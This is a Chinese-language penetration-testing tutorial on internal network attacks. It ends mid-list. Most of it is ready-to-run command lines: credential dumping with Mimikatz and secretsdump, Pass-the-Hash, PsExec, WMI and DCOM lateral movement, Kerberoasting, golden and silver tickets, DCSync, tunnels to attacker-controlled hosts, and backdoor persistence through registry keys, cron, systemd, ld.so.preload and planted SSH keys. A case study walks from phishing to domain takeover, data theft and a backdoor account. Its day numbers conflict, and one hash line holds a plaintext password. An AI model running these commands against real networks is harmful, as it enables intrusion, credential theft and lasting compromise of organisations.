Day-204-内网渗透技术详解

# Day 218: 内网渗透技术详解

> 渗透测试系列第 8 天 | 预计阅读时间：65 分钟 | 难度：★★★★★

---

## 清单 目录

1. [内网渗透概述](#内网渗透概述)
2. [内网信息收集](#内网信息收集)
3. [网络拓扑发现](#网络拓扑发现)
4. [内网主机发现](#内网主机发现)
5. [内网协议分析](#内网协议分析)
6. [横向移动技术](#横向移动技术)
7. [域环境渗透](#域环境渗透)
8. [内网隧道技术](#内网隧道技术)
9. [内网持久化](#内网持久化)
10. [内网渗透实战案例](#内网渗透实战案例)
11. [内网渗透最佳实践](#内网渗透最佳实践)
12. [总结与思考](#总结与思考)
13. [参考资料](#参考资料)

---

## 内网渗透概述

### 什么是内网渗透

内网渗透（Internal Network Penetration）是指在获取初始访问权限后，在企业内部网络中进行的深度渗透测试活动。

**内网渗透的核心定义**：

```
┌─────────────────────────────────────────────────────────────┐
│              内网渗透定义                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  内网渗透 = 信息收集 + 拓扑发现 + 横向移动 + 域渗透        │
│                                                             │
│  关键目标：                                                 │
│  1. 网络测绘（Network Mapping）                             │
│     - 发现内网结构                                          │
│     - 识别关键资产                                          │
│     - 绘制网络拓扑                                          │
│                                                             │
│  2. 横向移动（Lateral Movement）                            │
│     - 在内网中移动                                          │
│     - 控制更多主机                                          │
│     - 扩大攻击面                                            │
│                                                             │
│  3. 权限提升（Privilege Escalation）                        │
│     - 本地提权                                              │
│     - 域权限提升                                            │
│     - 获取域控权限                                          │
│                                                             │
│  4. 数据收集（Data Collection）                             │
│     - 敏感数据定位                                          │
│     - 凭证收集                                              │
│     - 情报收集                                              │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 内网渗透与外部渗透的区别

| 方面 | 外部渗透 | 内网渗透 |
|------|----------|----------|
| **起点** | 互联网 | 内网主机 |
| **防御** | 防火墙、WAF | 内网分段、监控 |
| **信任级别** | 低信任 | 高信任（内网互信） |
| **攻击面** | 有限（开放端口） | 广泛（所有内网服务） |
| **检测难度** | 较易检测 | 较难检测 |
| **技术重点** | 漏洞利用 | 横向移动、域渗透 |

### 内网渗透流程

```
┌─────────────────────────────────────────────────────────────┐
│              内网渗透流程                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  初始访问 → 信息收集 → 拓扑发现 → 横向移动 → 域渗透       │
│     ↓           ↓           ↓           ↓           ↓       │
│  Web Shell   主机信息    网络扫描    PtH/PtT    DCSync     │
│  漏洞利用    凭证收集    路由发现    PsExec     黄金票据   │
│  钓鱼邮件    端口扫描    信任关系    WMI        域管权限   │
│                                                             │
│  最终目标：                                                 │
│  ├── 控制域控制器                                           │
│  ├── 获取核心数据                                           │
│  ├── 建立持久化                                             │
│  └── 清理痕迹                                               │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

---

## 内网信息收集

### 主机信息收集

**Windows 主机信息**：

```powershell
# 系统信息
systeminfo
wmic os get Caption,Version,ServicePackVersionNumber
wmic computersystem get Model,Manufacturer,Domain

# 用户信息
whoami
whoami /priv
whoami /groups
net users
net localgroup administrators

# 网络信息
ipconfig /all
route print
netstat -ano
arp -a

# 进程信息
tasklist /v
tasklist /svc
wmic process get name,processid,parentprocessid

# 服务信息
sc query
sc qc <service_name>
wmic service get name,displayname,state

# 补丁信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix"
wmic qfe get Caption,Description,HotFixID,InstalledOn

# 计划任务
schtasks /query /fo LIST /v
```

**Linux 主机信息**：

```bash
# 系统信息
uname -a
cat /etc/*release
hostname
uptime

# 用户信息
whoami
id
w
last
cat /etc/passwd
cat /etc/shadow  # 需要 root

# 网络信息
ifconfig -a
ip addr show
route -n
netstat -tulpn
ss -tulpn
arp -a

# 进程信息
ps aux
ps -ef
top -bn1

# 服务信息
systemctl list-units --type=service
service --status-all
chkconfig --list

# 定时任务
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
```

### 凭证收集

**Windows 凭证**：

```powershell
# 使用 Mimikatz
meterpreter > load kiwi
meterpreter > hashdump
meterpreter > creds_all
meterpreter > kerberos

# 转储 LSASS
mimikatz # sekurlsa::logonpasswords

# 转储 SAM
mimikatz # lsadump::sam

# 转储 LSA Secrets
mimikatz # lsadump::secrets

# 转储缓存凭证
mimikatz # lsadump::cache

# 使用 Windows 命令
$ reg save HKLM\SAM C:\temp\sam.hiv
$ reg save HKLM\SYSTEM C:\temp\system.hiv
$ impacket-secretsdump -sam sam.hiv -system system.hiv LOCAL
```

**Linux 凭证**：

```bash
# 读取密码文件
$ cat /etc/passwd
$ cat /etc/shadow  # 需要 root

# 查找 SSH 密钥
$ find / -name "id_rsa" 2>/dev/null
$ find / -name "id_dsa" 2>/dev/null
$ find / -name "*.pem" 2>/dev/null

# 读取 SSH 密钥
$ cat ~/.ssh/id_rsa
$ cat ~/.ssh/authorized_keys
$ cat ~/.ssh/known_hosts

# 历史命令
$ cat ~/.bash_history
$ cat /root/.bash_history

# 查找密码相关文本
$ grep -r "password" /home/ 2>/dev/null
$ grep -r "passwd" /etc/ 2>/dev/null
```

### 敏感数据定位

**Windows 敏感数据**：

```powershell
# 查找敏感文件
$ dir /s *password* 2>$null
$ dir /s *credential* 2>$null
$ dir /s *.xlsx *.docx *.pdf 2>$null
$ dir /s financial* budget* contract* 2>$null

# 查找配置文件
$ dir /s web.config app.config *.json 2>$null
$ type C:\Unattend.xml 2>$null
$ type C:\Windows\Panther\Unattend\Unattend.xml 2>$null

# 查找数据库文件
$ dir /s *.mdb *.accdb *.sql *.db 2>$null

# 查找备份文件
$ dir /s *.bak *.backup *.old 2>$null
```

**Linux 敏感数据**：

```bash
# 查找敏感文件
$ find / -name "*password*" 2>/dev/null
$ find / -name "*credential*" 2>/dev/null
$ find / -name "*.xlsx" -o -name "*.docx" -o -name "*.pdf" 2>/dev/null

# 查找配置文件
$ find / -name "*.conf" -o -name "*.config" -o -name "*.json" 2>/dev/null
$ cat /etc/mysql/my.cnf
$ cat /etc/postgresql/*/main/postgresql.conf

# 查找数据库文件
$ find / -name "*.sql" -o -name "*.db" -o -name "*.sqlite" 2>/dev/null

# 查找 Web 目录
$ ls -la /var/www/
$ ls -la /home/*/public_html/
```

---

## 网络拓扑发现

### 网络分段识别

```
┌─────────────────────────────────────────────────────────────┐
│              网络分段识别                                   │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  常见网段：                                                 │
│  ├── 办公网段：192.168.1.0/24                              │
│  ├── 服务器网段：192.168.10.0/24                           │
│  ├── 数据库网段：192.168.20.0/24                           │
│  ├── 管理网段：192.168.100.0/24                            │
│  ├── DMZ 网段：10.0.0.0/24                                  │
│  └── 无线网段：172.16.0.0/24                               │
│                                                             │
│  识别方法：                                                 │
│  ├── 路由表分析                                             │
│  ├── ARP 缓存分析                                           │
│  ├── DNS 查询分析                                           │
│  └── 流量监控分析                                           │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 路由发现

**Windows 路由发现**：

```powershell
# 查看路由表
route print
Get-NetRoute

# 查看 ARP 缓存
arp -a
Get-NetNeighbor

# 查看网络连接
netstat -r
netstat -ano

# 追踪路由
tracert 192.168.1.1
tracert -d 192.168.10.1

# PowerShell 路由
Get-NetIPConfiguration
Get-NetIPAddress
```

**Linux 路由发现**：

```bash
# 查看路由表
route -n
ip route show
netstat -rn

# 查看 ARP 缓存
arp -a
ip neigh show

# 查看网络连接
netstat -tulpn
ss -tulpn

# 追踪路由
traceroute 192.168.1.1
tracepath 192.168.1.1
mtr 192.168.1.1
```

### 网络拓扑绘制

**使用 Nmap 绘制拓扑**：

```bash
# 发现存活主机
$ nmap -sn 192.168.1.0/24

# 扫描整个网段
$ nmap -sS -sV -O 192.168.1.0/24

# 扫描多个网段
$ nmap -sS 192.168.1.0/24 192.168.10.0/24 192.168.20.0/24

# 输出为 XML
$ nmap -oX network.xml 192.168.1.0/24

# 使用 Zenmap 可视化
$ zenmap -t 192.168.1.0/24
```

**使用 BloodHound 绘制域拓扑**：

```powershell
# 收集域信息
$ .\SharpHound.exe -c All

# 或使用 PowerShell
$ Invoke-BloodHound -CollectionMethod All

# 上传到 BloodHound
# 打开 BloodHound Web 界面
# 上传收集到的 JSON 文件
# 分析域拓扑、信任关系、攻击路径
```

---

## 内网主机发现

### 主机扫描技术

**ICMP 扫描**：

```bash
# Ping 扫描
$ nmap -sn 192.168.1.0/24

# 快速 Ping 扫描
$ fping -a -g 192.168.1.0/24

# 多线程 Ping
$ masscan -sn 192.168.1.0/24 --rate 1000

# PowerShell Ping
$ 1..254 | ForEach-Object { ping -n 1 -w 100 192.168.1.$_ | Select-String "Reply" }
```

**端口扫描**：

```bash
# TCP SYN 扫描
$ nmap -sS 192.168.1.0/24

# TCP Connect 扫描
$ nmap -sT 192.168.1.0/24

# UDP 扫描
$ nmap -sU 192.168.1.0/24

# 全端口扫描
$ nmap -p- 192.168.1.10

# 快速扫描
$ nmap -F 192.168.1.0/24

# 服务版本检测
$ nmap -sV 192.168.1.0/24

# 操作系统检测
$ nmap -O 192.168.1.0/24

# 综合扫描
$ nmap -sS -sV -O -sC 192.168.1.0/24
```

**隐蔽扫描**：

```bash
# 慢速扫描（避免检测）
$ nmap -sS -T1 192.168.1.0/24

# 随机化扫描
$ nmap -sS --randomize-hosts 192.168.1.0/24

# 碎片包扫描
$ nmap -sS -f 192.168.1.0/24

# 源端口扫描
$ nmap -sS --source-port 53 192.168.1.0/24

# 诱饵扫描
$ nmap -sS -D RND:10 192.168.1.0/24
```

### 服务发现

**常见内网服务**：

| 端口 | 服务 | 风险 |
|------|------|------|
| 21 | FTP | 明文传输、匿名访问 |
| 22 | SSH | 弱密码、密钥复用 |
| 23 | Telnet | 明文传输 |
| 25 | SMTP | 开放中继 |
| 53 | DNS | 区域传输 |
| 80/443 | HTTP/HTTPS | Web 漏洞 |
| 139/445 | SMB | 永恒之蓝、凭证泄露 |
| 1433 | MSSQL | SA 弱密码 |
| 3306 | MySQL | 弱密码、未授权 |
| 3389 | RDP | 弱密码、蓝屏漏洞 |
| 5432 | PostgreSQL | 弱密码 |
| 5900 | VNC | 弱密码、未授权 |
| 6379 | Redis | 未授权访问 |
| 27017 | MongoDB | 未授权访问 |

**服务指纹识别**：

```bash
# Nmap 服务识别
$ nmap -sV 192.168.1.10

# 获取 Banner
$ nc -v 192.168.1.10 80
GET / HTTP/1.0

# SSL 服务
$ openssl s_client -connect 192.168.1.10:443

# HTTP 头信息
$ curl -I http://192.168.1.10
```

---

## 内网协议分析

### SMB 协议分析

**SMB 信息收集**：

```bash
# 枚举 SMB 共享
$ crackmapexec smb 192.168.1.0/24 --shares

# 匿名访问测试
$ smbclient -L //192.168.1.10 -N

# 使用凭证访问
$ smbclient -L //192.168.1.10 -U username%password

# 枚举用户
$ rpcclient -U "" -N 192.168.1.10
rpcclient $> enumdomusers

# 查询域信息
$ rpcclient -U "domain/user%password" 192.168.1.10
rpcclient $> querydominfo
rpcclient $> lsaquery
```

**SMB 漏洞检测**：

```bash
# 检测 MS17-010
$ nmap -sS -p 445 --script=smb-vuln-ms17-010 192.168.1.0/24

# 检测其他 SMB 漏洞
$ nmap -sS -p 445 --script=smb-vuln-* 192.168.1.0/24

# 使用 CrackMapExec
$ crackmapexec smb 192.168.1.0/24 --spider
```

### LDAP 协议分析

**LDAP 信息收集**：

```bash
# 匿名 LDAP 查询
$ ldapsearch -x -H ldap://192.168.1.10 -b "dc=corp,dc=local"

# 使用凭证查询
$ ldapsearch -x -H ldap://192.168.1.10 -D "cn=admin,dc=corp,dc=local" -W -b "dc=corp,dc=local"

# 枚举域用户
$ ldapsearch -x -H ldap://192.168.1.10 -b "dc=corp,dc=local" "(objectClass=user)" sAMAccountName

# 枚举域计算机
$ ldapsearch -x -H ldap://192.168.1.10 -b "dc=corp,dc=local" "(objectClass=computer)" cn

# 枚举组
$ ldapsearch -x -H ldap://192.168.1.10 -b "dc=corp,dc=local" "(objectClass=group)" cn
```

### Kerberos 协议分析

**Kerberos 信息收集**：

```powershell
# 查看当前票据
$ klist

# 请求 TGT
$ impacket-getTGT corp.local/Administrator:Password

# 请求 TGS
$ impacket-getST -spn "cifs/fileserver.corp.local" corp.local/Administrator

# Kerberoasting
$ impacket-GetUserSPNs corp.local/Administrator:Password -request

# 使用 Rubeus
$ Rubeus.exe kerberoast /outfile:hashes.txt
```

---

## 横向移动技术

### Pass-the-Hash

**PtH 实施**：

```bash
# 使用 Metasploit
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOST 192.168.1.20
msf6 > set SMBUser Administrator
msf6 > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > exploit

# 使用 Impacket
$ impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@192.168.1.20

# 使用 CrackMapExec
$ crackmapexec smb 192.168.1.20 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -x "whoami"

# 使用 WMIExec
$ impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@192.168.1.20
```

### Pass-the-Ticket

**PtT 实施**：

```powershell
# 导出票据
mimikatz # kerberos::list /export

# 注入票据
mimikatz # kerberos::ptt admin@CORP.LOCAL.kirbi

# 使用 Rubeus
$ Rubeus.exe ptt /ticket:admin.kirbi

# 验证票据
$ klist
$ klist tickets

# 使用票据访问
$ psexec \\fileserver.corp.local cmd
```

### PsExec 横向移动

```bash
# 使用 Impacket PsExec
$ impacket-psexec Administrator@192.168.1.20
Password: P@ssw0rd123!

# 使用 Windows PsExec
$ psexec \\192.168.1.20 -u Administrator -p P@ssw0rd123! cmd

# 使用 CrackMapExec
$ crackmapexec smb 192.168.1.0/24 -u Administrator -p P@ssw0rd123! -x "whoami"

# 批量执行
$ for ip in 192.168.1.{1..254}; do impacket-psexec Administrator@$ip cmd <<< "P@ssw0rd123!" 2>/dev/null && echo "Success: $ip"; done
```

### WMI 横向移动

```bash
# 使用 Impacket WMIExec
$ impacket-wmiexec Administrator@192.168.1.20
Password: P@ssw0rd123!

# 使用 Metasploit
msf6 > use exploit/windows/smb/wmi_exec
msf6 > set RHOST 192.168.1.20
msf6 > set SMBUser Administrator
msf6 > set SMBPass P@ssw0rd123!
msf6 > exploit

# 使用原生 WMI
$ wmic /node:192.168.1.20 /user:Administrator /password:P@ssw0rd123! process call create "cmd.exe /c calc.exe"

# PowerShell WMI
$ Invoke-WmiMethod -ComputerName 192.168.1.20 -Class Win32_Process -Name Create -ArgumentList "cmd.exe" -Credential (Get-Credential)
```

### DCOM 横向移动

```powershell
# 使用 PowerShell
$ $com = [Type]::GetTypeFromProgID("Excel.Application","192.168.1.20")
$ $excel = [System.Activator]::CreateInstance($com)
$ $excel.Run("cmd.exe /c calc.exe")

# 使用 Metasploit
msf6 > use exploit/windows/dcerpc/mmc_exce
msf6 > set RHOST 192.168.1.20
msf6 > exploit
```

### SSH 横向移动

```bash
# 使用 SSH 密钥
$ ssh -i id_rsa user@192.168.1.20

# 使用密码
$ ssh user@192.168.1.20
Password: P@ssw0rd123!

# 批量测试
$ for ip in 192.168.1.{1..254}; do ssh -o ConnectTimeout=1 -o StrictHostKeyChecking=no user@$ip "whoami" 2>/dev/null && echo "Success: $ip"; done

# 使用私钥连接多台主机
$ for host in $(cat hosts.txt); do ssh -i id_rsa -o StrictHostKeyChecking=no user@$host "command" 2>/dev/null; done

# SSH 隧道
$ ssh -L 8080:internal-server:80 user@gateway
```

---

## 域环境渗透

### 域信息收集

**PowerView 枚举**：

```powershell
# 加载 PowerView
$ Import-Module .\PowerView.ps1

# 获取域信息
$ Get-Domain
$ Get-DomainController
$ Get-DomainSID

# 获取用户
$ Get-DomainUser
$ Get-DomainUser -Identity admin
$ Get-DomainUser -Filter "(adminCount=1)"  # 查找管理员

# 获取计算机
$ Get-DomainComputer
$ Get-DomainComputer -Filter "(operatingsystem=*server*)"  # 查找服务器

# 获取组
$ Get-DomainGroup
$ Get-DomainGroupMember "Domain Admins"  # 获取域管成员

# 获取 OU
$ Get-DomainOU

# 获取 GPO
$ Get-DomainGPO
$ Get-DomainGPOAppliedUser

# 查找共享文件夹
$ Find-DomainShare
$ Find-InterestingFile -Path \\*\SYSVOL\*
```

**BloodHound 收集**：

```powershell
# 使用 SharpHound
$ .\SharpHound.exe -c All

# 收集特定信息
$ .\SharpHound.exe -c Group,LocalAdmin,GPOLocalGroup,Session,LoggedOn,Trusts,ACL,Container,RDP,DCOM,PSRemote,LocalGroup

# 使用 PowerShell
$ Invoke-BloodHound -CollectionMethod All

# 上传到 BloodHound
# 打开 BloodHound Web 界面
# 上传 JSON 文件
# 分析攻击路径
```

### 域权限提升

**Kerberoasting**：

```powershell
# 使用 PowerView
$ Get-DomainUser -SPN | Select-Object sAMAccountName,servicePrincipalName

# 请求票据
$ Request-SPNTicket -SPN "MSSQLSvc/sql.corp.local"

# 使用 Rubeus
$ Rubeus.exe kerberoast /outfile:hashes.txt

# 使用 Impacket
$ impacket-GetUserSPNs corp.local/Administrator:Password -request

# 破解哈希
$ hashcat -m 13100 hashes.txt wordlist.txt
$ john --format=krb5tgs hashes.txt
```

**AS-REP Roasting**：

```powershell
# 查找不需要预认证的用户
$ Get-DomainUser -PreauthNotRequired

# 使用 Rubeus
$ Rubeus.exe asreproast /outfile:hashes.txt

# 使用 Impacket
$ impacket-GetNPUsers corp.local/ -usersfile users.txt -format hashcat

# 破解哈希
$ hashcat -m 18200 hashes.txt wordlist.txt
```

**约束委派攻击**：

```powershell
# 查找约束委派
$ Get-DomainUser -TrustedToAuth

# 使用 Rubeus
$ Rubeus.exe s4u /user:svc_account /rc4:hash /impersonateuser:admin /msdsspn:cifs/fileserver.corp.local /ptt

# 使用 Impacket
$ impacket-ticketconverter svc_account.kirbi svc_account.ccache
$ export KRB5CCNAME=svc_account.ccache
$ impacket-psexec -k -no-pass fileserver.corp.local
```

### 域持久化

**黄金票据**：

```powershell
# 需要 krbtgt 哈希
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:hash /id:500 /ptt

# 使用 Rubeus
$ Rubeus.exe golden /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:hash /user:admin /id:500 /ptt

# 验证票据
$ klist

# 使用票据访问
$ psexec \\dc01.corp.local cmd
```

**白银票据**：

```powershell
# 需要服务账户哈希
mimikatz # kerberos::silver /service:cifs /domain:corp.local /sid:S-1-5-21-xxx /rc4:hash /ptt

# 使用 Rubeus
$ Rubeus.exe silver /service:cifs /domain:corp.local /rc4:hash /ptt

# 访问文件服务器
$ psexec \\fileserver.corp.local cmd
```

**DCSync 攻击**：

```powershell
# 使用 Mimikatz
mimikatz # lsadump::dcsync /user:CORP\krbtgt
mimikatz # lsadump::dcsync /user:CORP\Administrator

# 使用 Impacket
$ impacket-secretsdump -just-dc-user krbtgt CORP/Administrator:Password@192.168.1.10
$ impacket-secretsdump -just-dc CORP/Administrator:Password@192.168.1.10

# 需要权限
# - Replicating Directory Changes
# - Replicating Directory Changes All
```

---

## 内网隧道技术

### SOCKS 代理

**Metasploit SOCKS**：

```bash
# 启动 SOCKS 代理
meterpreter > run autoroute -s 192.168.10.0/24
meterpreter > run server -p reverse_tcp -H 10.10.10.5 -P 4444

# 配置 proxychains
$ cat /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 1080

# 使用代理扫描
$ proxychains nmap -sT 192.168.10.0/24

# 使用代理访问
$ proxychains curl http://192.168.10.10
$ proxychains rdesktop 192.168.10.10
```

**SSH 隧道**：

```bash
# 本地端口转发
$ ssh -L 8080:internal-server:80 user@gateway

# 远程端口转发
$ ssh -R 8080:localhost:22 user@attacker

# 动态端口转发（SOCKS）
$ ssh -D 1080 user@gateway

# 多级跳板
$ ssh -J user@jump1,user@jump2 user@target

# SSH 隧道结合 proxychains
$ proxychains -f proxychains.conf curl http://target
```

### HTTP 隧道

**reGeorg 隧道**：

```bash
# 上传 reGeorg 脚本
$ python reGeorgSockets.py -u http://target/shell.php -p 8080

# 配置 proxychains
$ cat /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 8080

# 使用隧道
$ proxychains nmap -sT 192.168.1.0/24
$ proxychains crackmapexec smb 192.168.1.0/24
```

**Chisel 隧道**：

```bash
# 启动服务器
$ ./chisel server -p 8080 --reverse

# 客户端连接
$ ./chisel client attacker:8080 R:socks

# 配置 proxychains
$ cat /etc/proxychains.conf
[ProxyList]
socks4 127.0.0.1 1080
```

### DNS 隧道

**dnscat2 隧道**：

```bash
# 启动服务器
$ dnscat2-server --security=open att

# 客户端连接
$ dnscat2 --dns server=attacker.com --secret=secret

# 建立隧道后
# 可以执行命令、传输文件
```

**iodine 隧道**：

```bash
# 服务器端
$ iodined -f -c -P password 10.0.0.1 dns.attacker.com

# 客户端
$ iodine -f -P password dns.attacker.com

# 建立虚拟网卡
# 可以通过虚拟网卡进行通信
```

---

## 内网持久化

### Windows 持久化

**常见方法**：

```powershell
# 注册表运行键
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\backdoor.exe"

# 计划任务
schtasks /create /tn WindowsUpdate /tr "C:\backdoor.exe" /sc onstart /ru SYSTEM

# 服务创建
sc create Backdoor binPath= "C:\backdoor.exe" start= auto
sc start Backdoor

# WMI 持久化
$ filterName = "WindowsUpdate"
$ consumerName = "UpdateConsumer"
$ command = "C:\backdoor.exe"

$ filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name=$filterName; EventNameSpace="root\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"}

$ consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName; ExecutablePath=$command; CommandLineTemplate=$command}

Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$filter; Consumer=$consumer}

# 域持久化
# 黄金票据
# 白银票据
# DCSync
```

### Linux 持久化

**常见方法**：

```bash
# cron 持久化
$ echo "* * * * * root /backdoor.sh" >> /etc/crontab
$ echo "* * * * * /backdoor.sh" | crontab -

# systemd 服务
$ cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=Backdoor Service
After=network.target

[Service]
Type=simple
ExecStart=/backdoor.sh
Restart=always

[Install]
WantedBy=multi-user.target
EOF
$ systemctl enable backdoor
$ systemctl start backdoor

# SSH 密钥持久化
$ echo "ssh-rsa AAAA... attacker@kali" >> ~/.ssh/authorized_keys
$ echo "ssh-rsa AAAA... attacker@kali" >> /root/.ssh/authorized_keys

# Shell 配置持久化
$ echo "/backdoor.sh &" >> ~/.bashrc
$ echo "/backdoor.sh &" >> /etc/profile

# LD_PRELOAD 劫持
$ echo "/lib/backdoor.so" >> /etc/ld.so.preload
```

---

## 内网渗透实战案例

### 案例背景

**目标**：某大型企业内网
**初始访问**：钓鱼邮件获取工作站权限
**目标**：获取域控权限、核心数据

### 攻击过程

#### 第 1 阶段：初始访问

```powershell
# 钓鱼邮件获取 Shell
meterpreter > getuid
Server username: CORP\user1

meterpreter > sysinfo
Computer: WORKSTATION-01
OS: Windows 10 (Build 19042)
Domain: CORP
```

#### 第 2 阶段：内网侦察

```powershell
# 网络信息
meterpreter > run get_local_subnets
meterpreter > run arp_scanner -r 192.168.1.0/24

# 发现网段
192.168.1.0/24 - 办公网
192.168.10.0/24 - 服务器网
192.168.20.0/24 - 数据库网

# 扫描服务器网段
$ nmap -sS -sV 192.168.10.0/24

发现：
192.168.10.10:80 - Web 服务器
192.168.10.20:445 - 文件服务器
192.168.10.30:3389 - 远程桌面
192.168.20.10:3306 - MySQL 数据库
```

#### 第 3 阶段：凭证收集

```powershell
# 转储哈希
meterpreter > load kiwi
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
user1:1000:aad3b435b51404eeaad3b435b51404ee:Password123!:::

# 抓取明文密码
meterpreter > creds_all
CORP\user1  Password123!
CORP\admin  Admin@123456
```

#### 第 4 阶段：横向移动

```powershell
# 使用 PtH 访问文件服务器
$ impacket-psexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@192.168.10.20

# 获取文件服务器权限
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# 收集更多凭证
meterpreter > load kiwi
meterpreter > creds_all
```

#### 第 5 阶段：域渗透

```powershell
# 域信息收集
$ .\SharpHound.exe -c All

# BloodHound 分析
# 发现攻击路径：user1 → Server Admin → Domain Admin

# Kerberoasting
$ Rubeus.exe kerberoast /outfile:hashes.txt

# 破解服务账户密码
$ hashcat -m 13100 hashes.txt wordlist.txt
svc_sql:SqlService@2024

# 使用服务账户访问数据库服务器
$ impacket-psexec -u svc_sql -p SqlService@2024 192.168.20.10
```

#### 第 6 阶段：域控权限

```powershell
# DCSync 攻击
$ impacket-secretsdump -just-dc-user krbtgt CORP/Administrator:Admin@123456@192.168.1.10

# 获取 krbtgt 哈希
krbtgt:aad3b435b51404eeaad3b435b51404ee:KrbtgtHash123:::

# 黄金票据
mimikatz # kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-xxx /krbtgt:KrbtgtHash123 /id:500 /ptt

# 访问域控
$ psexec \\dc01.corp.local cmd
```

#### 第 7 阶段：数据收集

```powershell
# 数据库导出
$ mysqldump -u root -p core_database > core_data.sql

# 文件服务器数据
$ zip -r sensitive_data.zip /data/financial/ /data/customer/

# 域控数据
$ impacket-secretsdump -just-dc CORP/admin@dc01.corp.local -outputfile domain_hashes
```

#### 第 8 阶段：持久化

```powershell
# 创建后门账户
$ net user backdoor P@ssw0rd123! /add
$ net localgroup administrators backdoor /add

# 黄金票据持久化
# 可以随时生成域管票据

# 计划任务
$ schtasks /create /tn WindowsUpdate /tr "C:\backdoor.exe" /sc onstart /ru SYSTEM
```

### 攻击总结

| 阶段 | 技术 | 成果 |
|------|------|------|
| 初始访问 | 钓鱼邮件 | 获取工作站 Shell |
| 内网侦察 | 网络扫描 | 发现 3 个网段、10+ 服务器 |
| 凭证收集 | Mimikatz | 获取 5+ 个有效凭证 |
| 横向移动 | PtH、PsExec | 控制 5 台服务器 |
| 域渗透 | Kerberoasting | 获取服务账户权限 |
| 域控权限 | DCSync、黄金票据 | 获取域管权限 |
| 数据收集 | 数据库导出 | 获取核心业务数据 |
| 持久化 | 多种后门 | 维持长期访问 |

---

## 内网渗透最佳实践

### 测试清单

```
┌─────────────────────────────────────────────────────────────┐
│              内网渗透测试清单                               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  信息收集                                                   │
│  □ 主机信息收集                                             │
│  □ 网络拓扑发现                                             │
│  □ 凭证收集                                                 │
│  □ 敏感数据定位                                             │
│                                                             │
│  横向移动                                                   │
│  □ Pass-the-Hash 测试                                       │
│  □ Pass-the-Ticket 测试                                     │
│  □ PsExec/WMI 测试                                          │
│  □ SSH 横向移动测试                                         │
│  □ DCOM 横向移动测试                                        │
│                                                             │
│  域渗透                                                     │
│  □ 域信息收集                                               │
│  □ Kerberoasting 测试                                       │
│  □ AS-REP Roasting 测试                                     │
│  □ 委派攻击测试                                             │
│  □ DCSync 测试                                              │
│  □ 黄金/白银票据测试                                        │
│                                                             │
│  隧道技术                                                   │
│  □ SOCKS 代理测试                                           │
│  □ SSH 隧道测试                                             │
│  □ HTTP 隧道测试                                            │
│  □ DNS 隧道测试                                             │
│                                                             │
│  持久化                                                     │
│  □ 注册表持久化测试                                         │
│  □ 计划任务测试                                             │
│  □ 服务创建测试                                             │
│  □ WMI 持久化测试                                           │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### 工具组合

**推荐工具组合**：

```
┌─────────────────────────────────────────────────────────────┐
│              内网渗透工具组合                               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  基础工具：                                                 │
│  ├── Metasploit（渗透框架）                                │
│  ├── CrackMapExec（内网扫描）                              │
│  ├── Impacket（Python 工具集）                             │
│  └── Mimikatz（凭证收集）                                  │
│                                                             │
│  枚举工具：                                                 │
│  ├── BloodHound（域分析）                                  │
│  ├── PowerView（PowerShell 枚举）                          │
│  ├── Nmap（网络扫描）                                      │
│  └── Responder（LLMNR/NBT-NS 欺骗）                        │
│                                                             │
│  隧道工具：                                                 │
│  ├── Chisel（TCP 隧道）                                    │
│  ├── reGeorg（HTTP 隧道）                                  │
│  ├── dnscat2（DNS 隧道）                                   │
│  └── SSH（SOCKS 代理）                                     │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

---

## 总结与思考

### 核心要点回顾

1. **内网渗透是渗透测试的核心价值**，决定最终攻击成果

2. **信息收集是基础**，充分了解内网结构才能有效移动

3. **凭证是关键**，凭证是内网横向移动的通行证

4. **域渗透是目标**，控制域控等于控制整个内网

5. **隧道技术是保障**，确保攻击通道稳定可靠

### 深入思考

**问题 1：云环境对内网渗透的影响？**

我的观点：
- 传统内网边界模糊
- 云原生环境新的攻击面
- 容器逃逸成为新热点
- 云凭证管理更关键

**问题 2：零信任架构的挑战？**

我认为：
- 传统横向移动更困难
- 需要更多凭证和身份
- 微隔离增加复杂度
- 但人为因素仍是弱点

**问题 3：内网渗透的演进趋势？**

我预测：
- 自动化程度提高
- AI 辅助攻击路径分析
- 云地混合环境渗透
- 供应链攻击增加

### 实战建议

**给新手的建议**：

```
1. 搭建实验环境
   - Active Directory 实验环境
   - 多台虚拟机组网
   - 模拟真实企业网络

2. 学习基础
   - Windows/Linux 系统原理
